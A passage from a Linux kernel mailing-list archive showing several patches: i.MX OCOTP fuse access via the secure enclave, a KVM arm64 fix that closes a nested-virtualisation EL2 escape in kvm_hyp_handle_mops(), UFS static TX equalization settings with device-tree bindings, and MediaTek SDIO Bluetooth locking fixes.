+#define ELE_WRITE_FUSE_RSP_MSG_SZ	(12)
+
 #define MAX_UID_SIZE			(16)
 #define DEV_GETINFO_ROM_PATCH_SHA_SZ	(32)
 #define DEV_GETINFO_FW_SHA_SZ		(32)
diff --git a/include/linux/firmware/imx/se_api.h b/include/linux/firmware/imx/se_api.h
index b1c4c9115d7b..ed766b1d48f8 100644
--- a/include/linux/firmware/imx/se_api.h
+++ b/include/linux/firmware/imx/se_api.h
@@ -11,4 +11,7 @@
 #define SOC_ID_OF_IMX8ULP		0x084d
 #define SOC_ID_OF_IMX93			0x9300
 
+int imx_se_read_fuse(void *se_if_data, uint16_t fuse_id, u32 *value);
+int imx_se_write_fuse(void *se_if_data, uint16_t fuse_id, u32 value);
+
 #endif /* __SE_API_H__ */

-- 
2.54.0



^ permalink raw reply related

* [PATCH 4/9] nvmem: imx-ocotp-ele: Add keepout table for i.MX93
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

Add an overall keepout table to describe which fuse registers are
invalid and not accessible. No functional changes intended.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 drivers/nvmem/imx-ocotp-ele.c | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index a0d2985c6d03..dadec19ca252 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -34,6 +34,8 @@ struct ocotp_devtype_data {
 	u32 num_entry;
 	u32 flag;
 	nvmem_reg_read_t reg_read;
+	const struct nvmem_keepout *keepout;
+	unsigned int nkeepout;
 	struct ocotp_map_entry entry[];
 };
 
@@ -163,6 +165,12 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
 	priv->config.read_only = true;
 	priv->config.add_legacy_fixed_of_cells = true;
 	priv->config.fixup_dt_cell_info = imx_ocotp_fixup_dt_cell_info;
+
+	if (priv->data->nkeepout) {
+		priv->config.keepout = priv->data->keepout;
+		priv->config.nkeepout = priv->data->nkeepout;
+	}
+
 	mutex_init(&priv->lock);
 
 	nvmem = devm_nvmem_register(dev, &priv->config);
@@ -172,6 +180,14 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
 	return 0;
 }
 
+static const struct nvmem_keepout imx93_ocotp_keepout[] = {
+	{.start = 208, .end = 252},
+	{.start = 256, .end = 512},
+	{.start = 576, .end = 728},
+	{.start = 732, .end = 752},
+	{.start = 756, .end = 1248},
+};
+
 static const struct ocotp_devtype_data imx93_ocotp_data = {
 	.reg_off = 0x8000,
 	.reg_read = imx_ocotp_reg_read,
@@ -185,6 +201,8 @@ static const struct ocotp_devtype_data imx93_ocotp_data = {
 		{ 188, 1, FUSE_ELE },
 		{ 312, 200, FUSE_FSB }
 	},
+	.keepout = imx93_ocotp_keepout,
+	.nkeepout = ARRAY_SIZE(imx93_ocotp_keepout),
 };
 
 static const struct ocotp_devtype_data imx94_ocotp_data = {

-- 
2.54.0



^ permalink raw reply related

* [PATCH 1/9] dt-bindings: nvmem: imx-ocotp: Add support for secure-enclave
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

Some SoCs like the i.MX9 family allow full access to the fuses only
through the secure enclave firmware API. Add a property to reference
the secure enclave node and let the driver use the API.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml b/Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml
index a8076d0e2737..14a6429f4a4c 100644
--- a/Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml
+++ b/Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml
@@ -53,6 +53,10 @@ properties:
   reg:
     maxItems: 1
 
+  secure-enclave:
+    $ref: /schemas/types.yaml#/definitions/phandle
+    description: A phandle to the secure enclave node
+
   clocks:
     maxItems: 1
 

-- 
2.54.0



^ permalink raw reply related

* [PATCH 2/9] firmware: imx: ele: Fix indentation in ele_base_msg.h
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
  To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
	Fabio Estevam, Shawn Guo
  Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>

From: Frieder Schrempf <frieder.schrempf@kontron.de>

The file uses mixed indentation characters. Use tabs everywhere.

Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
 drivers/firmware/imx/ele_base_msg.h | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/firmware/imx/ele_base_msg.h b/drivers/firmware/imx/ele_base_msg.h
index 75e65e279193..1c5d6791b323 100644
--- a/drivers/firmware/imx/ele_base_msg.h
+++ b/drivers/firmware/imx/ele_base_msg.h
@@ -27,19 +27,19 @@
 #define ELE_GEN_KEY_BLOB_REQ		0xaf
 #define ELE_GET_FW_STATUS_REQ		0xc5
 #define ELE_XIP_DECRYPT_REQ		0xc6
-#define ELE_WRITE_FUSE                  0xd6
-#define ELE_DEV_ATTEST_REQ              0xdb
-#define ELE_WRITE_SHADOW_FUSE_REQ       0xf2
-#define ELE_READ_SHADOW_FUSE_REQ        0xf3
+#define ELE_WRITE_FUSE			0xd6
+#define ELE_DEV_ATTEST_REQ		0xdb
+#define ELE_WRITE_SHADOW_FUSE_REQ	0xf2
+#define ELE_READ_SHADOW_FUSE_REQ	0xf3
 
 #define ELE_GET_INFO_REQ		0xda
 #define ELE_GET_INFO_REQ_MSG_SZ		0x10
 #define ELE_GET_INFO_RSP_MSG_SZ		0x08
 
-#define MAX_UID_SIZE                     (16)
-#define DEV_GETINFO_ROM_PATCH_SHA_SZ     (32)
-#define DEV_GETINFO_FW_SHA_SZ            (32)
-#define DEV_GETINFO_OEM_SRKH_SZ          (64)
+#define MAX_UID_SIZE			(16)
+#define DEV_GETINFO_ROM_PATCH_SHA_SZ	(32)
+#define DEV_GETINFO_FW_SHA_SZ		(32)
+#define DEV_GETINFO_OEM_SRKH_SZ		(64)
 #define DEV_GETINFO_MIN_VER_MASK	0xff
 #define DEV_GETINFO_MAJ_VER_MASK	0xff00
 #define ELE_DEV_INFO_EXTRA_SZ		0x60

-- 
2.54.0



^ permalink raw reply related

* [PATCH] KVM: arm64: nv: Translate vEL2 PSTATE to EL1 in kvm_hyp_handle_mops()
From: Weiming Shi @ 2026-06-16 11:49 UTC (permalink / raw)
  To: Marc Zyngier, Oliver Upton, Catalin Marinas, Will Deacon
  Cc: Joey Gouly, Steffen Eiden, Suzuki K Poulose, Zenghui Yu,
	Andrew Morton, Jakub Kicinski, Bjorn Andersson, Mark Rutland,
	Kristina Martsenko, linux-arm-kernel, kvmarm, Zhong Wang,
	Xuanqing Shi, Weiming Shi

When a nested virtualisation guest is running its virtual EL2 (vEL2),
fixup_guest_exit() rewrites vcpu_cpsr() to the guest's virtual exception
level: a hardware PSTATE.M of EL1{t,h} is presented as EL2{t,h}. The
hardware, however, executes vEL2 at EL1.

kvm_hyp_handle_mops() runs on the fast guest re-entry path, where it
clears the single-step bit and restores SPSR_EL2 directly from
vcpu_cpsr():

	*vcpu_cpsr(vcpu) &= ~DBG_SPSR_SS;
	write_sysreg_el2(*vcpu_cpsr(vcpu), SYS_SPSR);

For a guest hypervisor this writes the vEL2 view (PSTATE.M == EL2h) into
the hardware SPSR_EL2 without translating it back. The fast path re-enters
the guest via __guest_enter()/ERET without going through
__sysreg_restore_el2_return_state(), so neither to_hw_pstate() nor the
"return to a less privileged mode" safety check there (which would set
PSR_IL_BIT) is applied. The ERET therefore restores PSTATE.M = EL2h and
re-enters the guest at the real EL2 with a guest-controlled ELR, escaping
stage-2 and the guest/host boundary.

This is reachable on a kernel with FEAT_MOPS running a KVM nested guest
(kvm-arm.mode=nested): KVM sets HCRX_EL2.MCE2, which the guest hypervisor
cannot clear for its own context (is_nested_ctxt() is false), so a vEL2
MOPS exception is taken to the host and dispatched to kvm_hyp_handle_mops()
with VCPU_IN_HYP_CONTEXT set.

Translate EL2{t,h} back to EL1{t,h} before writing SPSR_EL2, mirroring
kvm_hyp_handle_eret(). For non-nested guests vcpu_cpsr() never holds an
EL2 mode, so the translation is a no-op and behaviour is unchanged.

Fixes: 2de451a329cf ("KVM: arm64: Add handler for MOPS exceptions")
Assisted-by: Claude:claude-opus-4-8
Reported-by: Zhong Wang <wangzhong.c0ss4ck@bytedance.com>
Reported-by: Xuanqing Shi <shixuanqing.11@bytedance.com>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
 arch/arm64/kvm/hyp/include/hyp/switch.h | 23 ++++++++++++++++++++++-
 1 file changed, 22 insertions(+), 1 deletion(-)

diff --git a/arch/arm64/kvm/hyp/include/hyp/switch.h b/arch/arm64/kvm/hyp/include/hyp/switch.h
index e9b36a3b27bbc..a6b7963ddbf0b 100644
--- a/arch/arm64/kvm/hyp/include/hyp/switch.h
+++ b/arch/arm64/kvm/hyp/include/hyp/switch.h
@@ -448,6 +448,8 @@ static inline bool __populate_fault_info(struct kvm_vcpu *vcpu)
 
 static inline bool kvm_hyp_handle_mops(struct kvm_vcpu *vcpu, u64 *exit_code)
 {
+	u64 spsr, mode;
+
 	*vcpu_pc(vcpu) = read_sysreg_el2(SYS_ELR);
 	arm64_mops_reset_regs(vcpu_gp_regs(vcpu), vcpu->arch.fault.esr_el2);
 	write_sysreg_el2(*vcpu_pc(vcpu), SYS_ELR);
@@ -457,7 +459,26 @@ static inline bool kvm_hyp_handle_mops(struct kvm_vcpu *vcpu, u64 *exit_code)
 	 * instruction.
 	 */
 	*vcpu_cpsr(vcpu) &= ~DBG_SPSR_SS;
-	write_sysreg_el2(*vcpu_cpsr(vcpu), SYS_SPSR);
+
+	/*
+	 * For a guest hypervisor, vcpu_cpsr() holds the vEL2 view
+	 * (PSTATE.M == EL2h) installed by fixup_guest_exit(), but vEL2
+	 * runs at EL1. Translate it back before restoring SPSR_EL2, as in
+	 * kvm_hyp_handle_eret().
+	 */
+	spsr = *vcpu_cpsr(vcpu);
+	mode = spsr & (PSR_MODE_MASK | PSR_MODE32_BIT);
+	switch (mode) {
+	case PSR_MODE_EL2t:
+		mode = PSR_MODE_EL1t;
+		break;
+	case PSR_MODE_EL2h:
+		mode = PSR_MODE_EL1h;
+		break;
+	}
+	spsr = (spsr & ~(PSR_MODE_MASK | PSR_MODE32_BIT)) | mode;
+
+	write_sysreg_el2(spsr, SYS_SPSR);
 
 	return true;
 }
-- 
2.43.0



^ permalink raw reply related

* [PATCH v10 2/2] scsi: ufs: core: Add support for static TX Equalization settings
From: Can Guo @ 2026-06-16 11:33 UTC (permalink / raw)
  To: krzk, bvanassche, beanhuo, peter.wang, martin.petersen, mani
  Cc: linux-scsi, Can Guo, Alim Akhtar, Avri Altman,
	James E.J. Bottomley, Matthias Brugger,
	AngeloGioacchino Del Regno, Nitin Rawat, Ram Kumar Dwivedi,
	open list,
	moderated list:ARM/Mediatek SoC support:Keyword:mediatek,
	moderated list:ARM/Mediatek SoC support:Keyword:mediatek
In-Reply-To: <20260616113348.1168248-1-can.guo@oss.qualcomm.com>

Parse board-specific static TX Equalization settings from Device Tree for
each HS gear and store them in hba->tx_eq_params.

Parse txeq-preshoot-g[1-6] and txeq-deemphasis-g[1-6] as per-lane tuples:
<Host_Lane0 Device_Lane0>, [<Host_Lane1 Device_Lane1>].

For HS-G6, parse optional tx-precode-enable-g6 using the same per-lane
Host/Device tuple format. If provided, it must contain values for all
active lanes, and each value must be 0 or 1.

Introduce from_dt in struct ufshcd_tx_eq_params to track whether TX EQ
values came from static Device Tree data.

When adaptive TX Equalization is used, these static settings are not final:
- If valid settings are retrieved from qTxEQGnSettings/wTxEQGnSettingsExt,
  those retrieved settings override static Device Tree settings.
- If retrieval is not available/valid, TX EQTR runs and trained settings
  override static Device Tree settings.

So static Device Tree settings are a fallback for cases where adaptive TX
Equalization is not enabled or not used. Adaptive TX Equalization remains
the primary path when enabled.

No behavior changes for platforms that do not provide these properties.

Reviewed-by: Manivannan Sadhasivam <mani@kernel.org>
Reviewed-by: Peter Wang <peter.wang@mediatek.com>
Signed-off-by: Can Guo <can.guo@oss.qualcomm.com>
---
 drivers/ufs/core/ufs-txeq.c      |  15 ++-
 drivers/ufs/host/ufshcd-pltfrm.c | 154 +++++++++++++++++++++++++++++++
 include/ufs/ufshcd.h             |   2 +
 3 files changed, 170 insertions(+), 1 deletion(-)

diff --git a/drivers/ufs/core/ufs-txeq.c b/drivers/ufs/core/ufs-txeq.c
index 3a2fb5329d27..3c94b94dd7b7 100644
--- a/drivers/ufs/core/ufs-txeq.c
+++ b/drivers/ufs/core/ufs-txeq.c
@@ -1297,7 +1297,13 @@ int ufshcd_config_tx_eq_settings(struct ufs_hba *hba,
 	}
 
 	params = &hba->tx_eq_params[gear - 1];
-	if (!params->is_valid || force_tx_eqtr) {
+	/*
+	 * TX EQTR must run for the following cases:
+	 * 1. TX EQ settings are invalid.
+	 * 2. TX EQ settings are from Device Tree.
+	 * 3. TX EQTR procedure is forced.
+	 */
+	if (!params->is_valid || params->from_dt || force_tx_eqtr) {
 		int ret;
 
 		ret = ufshcd_tx_eqtr(hba, params, pwr_mode);
@@ -1310,6 +1316,8 @@ int ufshcd_config_tx_eq_settings(struct ufs_hba *hba,
 		/* Mark TX Equalization settings as valid */
 		params->is_valid = true;
 		params->is_trained = true;
+		/* TX EQTR succeeds, clear from_dt flag */
+		params->from_dt = false;
 		params->is_applied = false;
 	}
 
@@ -1495,6 +1503,11 @@ static void ufshcd_extract_tx_eq_settings_attrs(struct ufs_hba *hba, u8 gear)
 	}
 
 	params->is_valid = true;
+	/*
+	 * Optimal TX EQ settings are retrieved from UFS device attributes,
+	 * clear from_dt flag to avoid TX EQTR procedure.
+	 */
+	params->from_dt = false;
 }
 
 void ufshcd_retrieve_tx_eq_settings(struct ufs_hba *hba)
diff --git a/drivers/ufs/host/ufshcd-pltfrm.c b/drivers/ufs/host/ufshcd-pltfrm.c
index c2dafb583cf5..5ac7afe75934 100644
--- a/drivers/ufs/host/ufshcd-pltfrm.c
+++ b/drivers/ufs/host/ufshcd-pltfrm.c
@@ -210,6 +210,158 @@ static void ufshcd_init_lanes_per_dir(struct ufs_hba *hba)
 	}
 }
 
+static int ufshcd_parse_tx_precode_enable(struct ufs_hba *hba,
+					  bool host_precode_en[UFS_MAX_LANES],
+					  bool device_precode_en[UFS_MAX_LANES])
+{
+	const char *prop_name = "tx-precode-enable-g6";
+	u32 num_elems = 2 * hba->lanes_per_direction;
+	const u32 lpd = hba->lanes_per_direction;
+	u32 precode[UFS_MAX_LANES * 2];
+	struct device *dev = hba->dev;
+	int count, err, i;
+
+	count = of_property_count_u32_elems(dev->of_node, prop_name);
+	if (count == -EINVAL || count == -ENODATA)
+		return 0;
+
+	if (count < 0)
+		return count;
+
+	if (count != num_elems) {
+		dev_err(dev, "Property %s has invalid count (%d), expecting %u\n",
+			prop_name, count, num_elems);
+		return -EINVAL;
+	}
+
+	err = of_property_read_u32_array(dev->of_node, prop_name, precode, num_elems);
+	if (err) {
+		dev_err(dev, "Failed to read %s property, %d\n", prop_name, err);
+		return err;
+	}
+
+	for (i = 0; i < num_elems; i++) {
+		if (precode[i] > 1) {
+			dev_err(dev, "Invalid TX precode value (%u) in %s property\n",
+				precode[i], prop_name);
+			return -EINVAL;
+		}
+	}
+
+	for (i = 0; i < lpd; i++) {
+		host_precode_en[i] = precode[i * 2];
+		device_precode_en[i] = precode[i * 2 + 1];
+	}
+
+	return 0;
+}
+
+static int ufshcd_parse_tx_eq_value_array(struct ufs_hba *hba,
+					  const char *prop_name,
+					  const u32 max_value,
+					  u32 values[UFS_MAX_LANES * 2])
+{
+	u32 num_elems = 2 * hba->lanes_per_direction;
+	struct device *dev = hba->dev;
+	int count, err, i;
+
+	count = of_property_count_u32_elems(dev->of_node, prop_name);
+	if (count < 0)
+		return count;
+
+	if (count != num_elems) {
+		dev_err(dev, "Property %s has invalid count (%d), expecting %u\n",
+			prop_name, count, num_elems);
+		return -EINVAL;
+	}
+
+	err = of_property_read_u32_array(dev->of_node, prop_name, values, num_elems);
+	if (err) {
+		dev_err(dev, "Failed to read %s property, %d\n", prop_name, err);
+		return err;
+	}
+
+	for (i = 0; i < num_elems; i++) {
+		if (values[i] >= max_value) {
+			dev_err(dev, "Invalid TX EQ value (%u) in %s property\n",
+				values[i], prop_name);
+			return -EINVAL;
+		}
+	}
+
+	return 0;
+}
+
+/**
+ * ufshcd_parse_tx_eq_settings_for_gear - Parse static TX EQ DT settings for one gear
+ * @hba: per adapter instance
+ * @gear: target HS gear
+ *
+ * Reads the txeq-preshoot-gN, txeq-deemphasis-gN, and (for G6)
+ * tx-precode-enable-g6 device-tree properties.
+ * If all present values are valid, stores them as static TX Equalization
+ * settings for the given gear.
+ */
+static void ufshcd_parse_tx_eq_settings_for_gear(struct ufs_hba *hba, int gear)
+{
+	bool device_precode_en[UFS_MAX_LANES] = { false };
+	bool host_precode_en[UFS_MAX_LANES] = { false };
+	const u32 lpd = hba->lanes_per_direction;
+	struct ufshcd_tx_eq_params *params;
+	u32 deemphasis[UFS_MAX_LANES * 2];
+	u32 preshoot[UFS_MAX_LANES * 2];
+	char prop_name[MAX_PROP_SIZE];
+	int err, lane;
+
+	snprintf(prop_name, MAX_PROP_SIZE, "txeq-preshoot-g%d", gear);
+	err = ufshcd_parse_tx_eq_value_array(hba, prop_name, TX_HS_NUM_PRESHOOT, preshoot);
+	if (err)
+		return;
+
+	snprintf(prop_name, MAX_PROP_SIZE, "txeq-deemphasis-g%d", gear);
+	err = ufshcd_parse_tx_eq_value_array(hba, prop_name, TX_HS_NUM_DEEMPHASIS, deemphasis);
+	if (err)
+		return;
+
+	if (gear == UFS_HS_G6) {
+		err = ufshcd_parse_tx_precode_enable(hba, host_precode_en, device_precode_en);
+		if (err)
+			return;
+	}
+
+	params = &hba->tx_eq_params[gear - 1];
+	for (lane = 0; lane < lpd; lane++) {
+		params->host[lane].preshoot = preshoot[lane * 2];
+		params->host[lane].deemphasis = deemphasis[lane * 2];
+		params->host[lane].precode_en = host_precode_en[lane];
+
+		params->device[lane].preshoot = preshoot[lane * 2 + 1];
+		params->device[lane].deemphasis = deemphasis[lane * 2 + 1];
+		params->device[lane].precode_en = device_precode_en[lane];
+	}
+
+	params->is_valid = true;
+	params->from_dt = true;
+}
+
+static void ufshcd_parse_static_tx_eq_settings(struct ufs_hba *hba)
+{
+	const u32 lpd = hba->lanes_per_direction;
+	int gear;
+
+	if (!lpd)
+		return;
+
+	if (lpd > UFS_MAX_LANES) {
+		dev_warn(hba->dev, "lanes_per_direction (%u) exceeds UFS_MAX_LANES (%u)\n",
+			 lpd, UFS_MAX_LANES);
+		return;
+	}
+
+	for (gear = UFS_HS_G1; gear <= UFS_HS_GEAR_MAX; gear++)
+		ufshcd_parse_tx_eq_settings_for_gear(hba, gear);
+}
+
 /**
  * ufshcd_parse_clock_min_max_freq  - Parse MIN and MAX clocks freq
  * @hba: per adapter instance
@@ -528,6 +680,8 @@ int ufshcd_pltfrm_init(struct platform_device *pdev,
 
 	ufshcd_init_lanes_per_dir(hba);
 
+	ufshcd_parse_static_tx_eq_settings(hba);
+
 	err = ufshcd_parse_operating_points(hba);
 	if (err) {
 		dev_err(dev, "%s: OPP parse failed %d\n", __func__, err);
diff --git a/include/ufs/ufshcd.h b/include/ufs/ufshcd.h
index f48d6416e299..0f87b081b2ff 100644
--- a/include/ufs/ufshcd.h
+++ b/include/ufs/ufshcd.h
@@ -359,6 +359,7 @@ struct ufshcd_tx_eqtr_record {
  * @is_valid: True if parameter contains valid TX Equalization settings
  * @is_applied: True if settings have been applied to UniPro of both sides
  * @is_trained: True if parameters obtained from TX EQTR procedure
+ * @from_dt: True if settings are from Device Tree
  */
 struct ufshcd_tx_eq_params {
 	struct ufshcd_tx_eq_settings host[UFS_MAX_LANES];
@@ -367,6 +368,7 @@ struct ufshcd_tx_eq_params {
 	bool is_valid;
 	bool is_applied;
 	bool is_trained;
+	bool from_dt;
 };
 
 /**
-- 
2.34.1



^ permalink raw reply related

* [PATCH v10 1/2] dt-bindings: ufs: Document static TX Equalization settings properties
From: Can Guo @ 2026-06-16 11:33 UTC (permalink / raw)
  To: krzk, bvanassche, beanhuo, peter.wang, martin.petersen, mani
  Cc: linux-scsi, Can Guo, Krzysztof Kozlowski, Alim Akhtar,
	Avri Altman, Rob Herring, Krzysztof Kozlowski, Conor Dooley,
	Matthias Brugger, AngeloGioacchino Del Regno, Ram Kumar Dwivedi,
	Zhaoming Luo,
	open list:OPEN FIRMWARE AND FLATTENED DEVICE TREE BINDINGS,
	open list,
	moderated list:ARM/Mediatek SoC support:Keyword:mediatek,
	moderated list:ARM/Mediatek SoC support:Keyword:mediatek
In-Reply-To: <20260616113348.1168248-1-can.guo@oss.qualcomm.com>

UFS v5.0/UFSHCI v5.0 adds HS-G6 support (46.6 Gbps/lane) via UniPro
v3.0 and M-PHY v6.0. These specs define TX Equalization for all
High-Speed Gears (not only HS-G6) to compensate channel loss and
improve signal integrity at high speed.

For HS-G6, M-PHY uses PAM4 1b1b line coding. Pre-Coding may also be
required depending on channel characteristics.

Document vendor-neutral properties in ufs-common.yaml:
- txeq-preshoot-g[1-6]
- txeq-deemphasis-g[1-6]
- tx-precode-enable-g6

Values are per-lane Host/Device tuples (2 values for x1, 4 values for
x2). PreShoot/DeEmphasis range from 0..7, and Precode is 0/1.

These are board-specific signal-integrity tuning values. They depend on
channel SI/PHY characterization and validation (host PHY, device PHY,
package, and board routing), and are determined by HW/PHY designers.

Although UFSHCI v5.0 supports TX Equalization Training via UniPro v3.0,
which allows host software to determine optimal TX Equalization at
runtime, static board-specific TX Equalization settings in the Device
Tree are still necessary because:
- TX Equalization Training is not supported for HS-G3 and below
- TX Equalization Training is disabled on some platforms

Reviewed-by: Krzysztof Kozlowski <krzysztof.kozlowski@oss.qualcomm.com>
Reviewed-by: Manivannan Sadhasivam <mani@kernel.org>
Reviewed-by: Peter Wang <peter.wang@mediatek.com>
Signed-off-by: Can Guo <can.guo@oss.qualcomm.com>
---
 .../devicetree/bindings/ufs/ufs-common.yaml   | 58 +++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/Documentation/devicetree/bindings/ufs/ufs-common.yaml b/Documentation/devicetree/bindings/ufs/ufs-common.yaml
index ed97f5682509..cc32e1189d50 100644
--- a/Documentation/devicetree/bindings/ufs/ufs-common.yaml
+++ b/Documentation/devicetree/bindings/ufs/ufs-common.yaml
@@ -105,6 +105,64 @@ properties:
       Restricts the UFS controller to rate-a or rate-b for both TX and
       RX directions.
 
+  tx-precode-enable-g6:
+    $ref: /schemas/types.yaml#/definitions/uint32-matrix
+    minItems: 1
+    items:
+      - items:
+          - description: Host_Lane0 precode
+            enum: [0, 1]
+          - description: Device_Lane0 precode
+            enum: [0, 1]
+      - items:
+          - description: Host_Lane1 precode
+            enum: [0, 1]
+          - description: Device_Lane1 precode
+            enum: [0, 1]
+    description:
+      Static TX Precode enable values for HS-G6 only.
+
+patternProperties:
+  "^txeq-preshoot-g[1-6]$":
+    $ref: /schemas/types.yaml#/definitions/uint32-matrix
+    minItems: 1
+    items:
+      - items:
+          - description: Host_Lane0 Preshoot value
+            enum: [0, 1, 2, 3, 4, 5, 6, 7]
+          - description: Device_Lane0 Preshoot value
+            enum: [0, 1, 2, 3, 4, 5, 6, 7]
+      - items:
+          - description: Host_Lane1 Preshoot value
+            enum: [0, 1, 2, 3, 4, 5, 6, 7]
+          - description: Device_Lane1 Preshoot value
+            enum: [0, 1, 2, 3, 4, 5, 6, 7]
+    description: |
+      Static TX Equalization PreShoot settings for High Speed Gears. These
+      values are programmed to the corresponding UniPro PA layer attribute
+      PA_TxEQG[1-6]Setting. Each value selects a Pre-Shoot level as defined
+      by the MIPI M-PHY specification (TX_HS_PreShoot_Setting).
+
+  "^txeq-deemphasis-g[1-6]$":
+    $ref: /schemas/types.yaml#/definitions/uint32-matrix
+    minItems: 1
+    items:
+      - items:
+          - description: Host_Lane0 DeEmphasis value
+            enum: [0, 1, 2, 3, 4, 5, 6, 7]
+          - description: Device_Lane0 DeEmphasis value
+            enum: [0, 1, 2, 3, 4, 5, 6, 7]
+      - items:
+          - description: Host_Lane1 DeEmphasis value
+            enum: [0, 1, 2, 3, 4, 5, 6, 7]
+          - description: Device_Lane1 DeEmphasis value
+            enum: [0, 1, 2, 3, 4, 5, 6, 7]
+    description: |
+      Static TX Equalization DeEmphasis settings for High Speed Gears. These
+      values are programmed to the corresponding UniPro PA layer attribute
+      PA_TxEQG[1-6]Setting. Each value selects a De-Emphasis level as defined
+      by the MIPI M-PHY specification (TX_HS_DeEmphasis_Setting).
+
 dependencies:
   freq-table-hz: [ clocks ]
   operating-points-v2: [ clocks, clock-names ]
-- 
2.34.1



^ permalink raw reply related

* [PATCH v2 2/3] Bluetooth: btmtksdio: test for bug IO errors in btmtksdio_txrx_work()
From: Sergey Senozhatsky @ 2026-06-16 11:12 UTC (permalink / raw)
  To: Marcel Holtmann, Luiz Augusto von Dentz, Mark-yw Chen, Sean Wang
  Cc: Tomasz Figa, linux-bluetooth, linux-kernel, linux-arm-kernel,
	linux-mediatek, Sergey Senozhatsky, stable
In-Reply-To: <20260616111224.152140-1-senozhatsky@chromium.org>

btmtksdio_txrx_work() loop termination condition checks for
int_status being non-zero, however, this evaluates to true
even when sdio_readl() encounters BUS I/O error (in which
case int_status is 0xffffffff).  Break out of the loop if
sdio_readl() errors out.

Fixes: 26270bc189ea4 ("Bluetooth: btmtksdio: move interrupt service to work")
Cc: stable@vger.kernel.org
Signed-off-by: Sergey Senozhatsky <senozhatsky@chromium.org>
---
 drivers/bluetooth/btmtksdio.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/drivers/bluetooth/btmtksdio.c b/drivers/bluetooth/btmtksdio.c
index c6f80c419e90..d8c8d2857527 100644
--- a/drivers/bluetooth/btmtksdio.c
+++ b/drivers/bluetooth/btmtksdio.c
@@ -574,7 +574,9 @@ static void btmtksdio_txrx_work(struct work_struct *work)
 	txrx_timeout = jiffies + 5 * HZ;
 
 	do {
-		int_status = sdio_readl(bdev->func, MTK_REG_CHISR, NULL);
+		int_status = sdio_readl(bdev->func, MTK_REG_CHISR, &err);
+		if (err < 0 || int_status == 0xffffffff)
+			break;
 
 		/* Ack an interrupt as soon as possible before any operation on
 		 * hardware.
-- 
2.54.0.1136.gdb2ca164c4-goog



^ permalink raw reply related

* [PATCH v2 3/3] Bluetooth: btmtksdio: call cancel_work_sync() outside of host lock scope
From: Sergey Senozhatsky @ 2026-06-16 11:12 UTC (permalink / raw)
  To: Marcel Holtmann, Luiz Augusto von Dentz, Mark-yw Chen, Sean Wang
  Cc: Tomasz Figa, linux-bluetooth, linux-kernel, linux-arm-kernel,
	linux-mediatek, Sergey Senozhatsky, stable
In-Reply-To: <20260616111224.152140-1-senozhatsky@chromium.org>

cancel_work_sync() should be called outside of host lock scope
in order to avoid circular locking scenario:

CPU0					CPU1
					close()/reset()
					sdio_claim_host()
txrx_work
  sdio_claim_host() // sleeps
					cancel_work_sync() // sleeps

In addition, when txrx_work() runs concurrently with close()/reset()
it better not to re-enable interrupts by testing for BTMTKSDIO_FUNC_ENABLED
and not BTMTKSDIO_HW_RESET_ACTIVE before C_INT_EN_SET write.  However,
btmtksdio_close() clears the BTMTKSDIO_FUNC_ENABLED too late (after
cancel_work_sync() call).  Move BTMTKSDIO_FUNC_ENABLED bit-clear earlier
so that txrx_work can see concurrent close().

Fixes: 26270bc189ea4 ("Bluetooth: btmtksdio: move interrupt service to work")
Cc: stable@vger.kernel.org
Signed-off-by: Sergey Senozhatsky <senozhatsky@chromium.org>
---
 drivers/bluetooth/btmtksdio.c | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/drivers/bluetooth/btmtksdio.c b/drivers/bluetooth/btmtksdio.c
index d8c8d2857527..207d04cc2282 100644
--- a/drivers/bluetooth/btmtksdio.c
+++ b/drivers/bluetooth/btmtksdio.c
@@ -625,7 +625,9 @@ static void btmtksdio_txrx_work(struct work_struct *work)
 	} while (int_status && time_is_after_jiffies(txrx_timeout));
 
 	/* Enable interrupt */
-	if (bdev->func->irq_handler)
+	if (bdev->func->irq_handler &&
+	    test_bit(BTMTKSDIO_FUNC_ENABLED, &bdev->tx_state) &&
